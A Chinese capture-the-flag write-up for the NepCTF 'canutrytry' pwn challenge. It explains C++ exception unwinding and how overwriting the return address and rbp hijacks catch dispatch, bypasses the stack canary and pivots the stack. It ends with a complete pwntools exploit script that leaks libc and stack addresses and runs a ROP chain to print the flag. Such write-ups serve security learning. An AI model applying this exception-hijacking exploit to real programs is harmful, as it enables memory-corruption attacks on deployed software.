nepctf-canutrytry 之 c++ 异常处理

异常抛出

当程序执行过程中遇到异常,比如除零,数组越界等等,就会抛出异常

#include <iostream>
#include <stdexcept>

int divide(int numerator, int denominator) {
    if (denominator == 0) {
        throw std::runtime_error("Integer division by zero!");
    }
    return numerator / denominator; 
}

int main() {

    try {
        std::cout << "5 / 2 = " << divide(5, 2) << std::endl;
        std::cout << "5 / 0 = " << divide(5, 0) << std::endl; // 这行会抛出异常
    } catch (const std::runtime_error& e) {   //捕捉运行时的错误,比如除零
        std::cerr << e.what() << std::endl;
    }


    return 0;

}

栈回退

触发异常后系统会:

  1. 查找匹配的 catch 块:沿调用栈向上查找,直到找到类型匹配的 catch 块或到达 main 函数。
  2. 释放栈帧空间

像代码中这样,在divide函数中触发的异常,就得先退回到main函数中

危险点:

如果divide函数原本没触发异常,那就会按照他的return来返回,根据rbprsp回收栈帧。

触发异常后的回退也依赖他们,所以攻击returnrbp可以劫持异常的跳转,跳转到本不应该触发的catch

异常捕获

由于一个try是可以有多个catch的,所以回退到对应的try代码段后,会根据抛出的异常类型来选择被哪个catch捕获

如果没有被成功捕获,程序将执行std::terminate() 直接崩溃

如果被捕获就执行catch中的内容

throw std::runtime_error("Error: Division by zero!");
catch (const std::runtime_error& e)

可以看到抛出的就是runtime_error,那么也会被runtime_error捕获

例题 nepctf-canutrytry

void __fastcall __noreturn main(void *a1, char **a2, char **a3)
{
  int n2; // [rsp+4h] [rbp-2Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  getflag();
  while ( 1 )
  {
    while ( 1 )                                 // try {
    {
      menu();                                   // }
                                                // try {
      std::istream::operator>>(&std::cin, &n2);
      if ( n2 != 1 )
        break;
      visit();
    }
    if ( n2 != 2 )
      exit(0);
    leave();                                    // }
  }
}

ida里反编译出来的内容并没有体现异常处理,需要我们进入汇编查看
在这里插入图片描述
可以看到,汇编里有try字样,我们可以在反汇编里标注出来,也就是我之前给出的代码段中
可以看到,menu单独在一个try中,其余的内容在另一个try
在这里插入图片描述
汇编再往下看,就可以看到一些有catch的段,他们后面有owned by +addr,这个地址对应的就是try结尾的那个starts at +addr

其中read_throwentergadgetenterrop,和是我对三个sub函数的重命名,按列出的顺序从上到下分别是这些名字

汇编比较长,简单总结一下流程

  1. 如果在menu处抛出异常,可以被捕捉然后进入enterrop,之后不触发异常就可以进入entergadget,而entergadget内部有调用read_throw
  2. 如果在menu以外处抛出异常,会输出setbuf的地址,和栈地址,那么我们就有了libc基地址和栈地址

攻击思路:

  1. 两次申请的机会,需要抛出异常获得libc基地址和栈地址,并且创建一个相对大的堆块来栈溢出,而填写size和申请都是先0后1,如果第一个size就是负数,就永远申请不到第二个sizechunck了。因此第一个为大size,第二个为负的size,申请两次
  2. 因为menu抛出不了异常,所以我们必须通过劫持leave的返回地址为call menu的下一句,来让程序栈回退的过程中误以为是menu所在try抛出了异常。值得注意的是,如果栈溢出导致触发异常了,这个栈回退的过程是无视canary的检查的。所以在leave中栈溢出,这里需要让rbp为栈地址,retcall menu下一句
  3. 第四步会有栈迁移,rbp受影响,所以直接调用write不行,选择sys-write,在rop处布置sys-write
  4. 进入read throw后覆盖rbpbss段,栈迁移到rop即可
    在这里插入图片描述
    第4点之所以能够只覆盖rbpbss不用像传统的栈迁移那样加一次leave-ret,是因为抛出-栈回退-捕获的这个过程中,程序会存储寄存器,并且在结尾处再按照图中那样赋值给各个寄存器。
    因此我们在第一次栈溢出中必须要一个栈地址
    那么注意标红的内容,rbp由于我们的覆盖变成了bss段地址,本来这个地址应该是栈上的地址,而在赋值好众多寄存器后,rbp会获得自身的值,而下图标红处可以看到,执行read-throw的过程中如果抛出异常就会被下面的部分捕获,最终到leave-ret,就完成了一个完整的栈迁移
    在这里插入图片描述
from pwn import *
context(arch='amd64',os='linux')
io=process('./pwn')
#io=remote("nepctf32-nn9h-qtvc-vlb5-ebyypxl7y064.nepctf.com", 443, ssl=True)
libc=ELF('./libc.so.6')
gdb.attach(io, gdbscript='''
    #break *0x7ffff7f7b21d
    break *0x4015d4
    #continue
''')
#gdb.attach(io)
def visit(choice):
    io.recvuntil(b'your choice >>')
    io.sendline(b'1')
    io.recvuntil(b'your choice >>')
    io.sendline(str(choice).encode())
def leave(index):
    io.recvuntil(b'your choice >>')
    io.sendline(b'2')
    io.recvuntil(b'index: ')
    io.sendline(str(index).encode())
def malloc():
    visit(1)
def getsize(size):
    visit(2)
    io.recvuntil(b'size:')
    io.sendline(str(size).encode())
def edit(index,data):
    visit(3)
    io.recvuntil(b'index:')
    io.sendline(str(index).encode())
    io.recvuntil(b'content:')
    io.sendline(data)

getsize(0x60)   #0
getsize(0xffffffff)#1
malloc()
malloc()
#先申请chunck0,后续用于栈溢出
#再申请chunck1,触发第一次异常,泄露libc基地址和栈地址
io.recvuntil(b'setbufaddr:')
leak=int(io.recv(14),16)
libc_base=leak-libc.sym['setbuf']
info("libc_base: "+hex(libc_base))
pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))
pop_rax=libc_base+next(libc.search(asm('pop rax;ret'),executable=True))
syscall=libc_base+next(libc.search(asm('syscall;ret'),executable=True))
pop_rsi=libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))
pop_rdx=libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True))
pop_rbp=libc_base+next(libc.search(asm('pop rbp;ret'),executable=True))

io.recvuntil(b'stackaddr:')
stack_addr=int(io.recv(14),16)
info("stack_addr: "+hex(stack_addr))

payload=b'a'*(0x20)+p64(stack_addr)+p64(0x401ed9)
edit(0,payload)
leave(0)
#栈溢出,让栈回退误以为menu处try抛出的异常
flag_addr=0x4053c0
rop_addr=0x405460
rop=p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x40)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
io.recvuntil(b'well,prepare your rop now!')
io.sendline(rop)
#后续由于栈迁移,不好打write,所以用sys-write
rop_addr=0x405460
gadget=b''
io.recvuntil(b'Enter your flag: ')
io.sendline(gadget)
#gadget段可以直接不要
pause()
payload=b'a'*0x10+p64(rop_addr-0x8)
#覆盖rbp,造成栈迁移
io.send(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值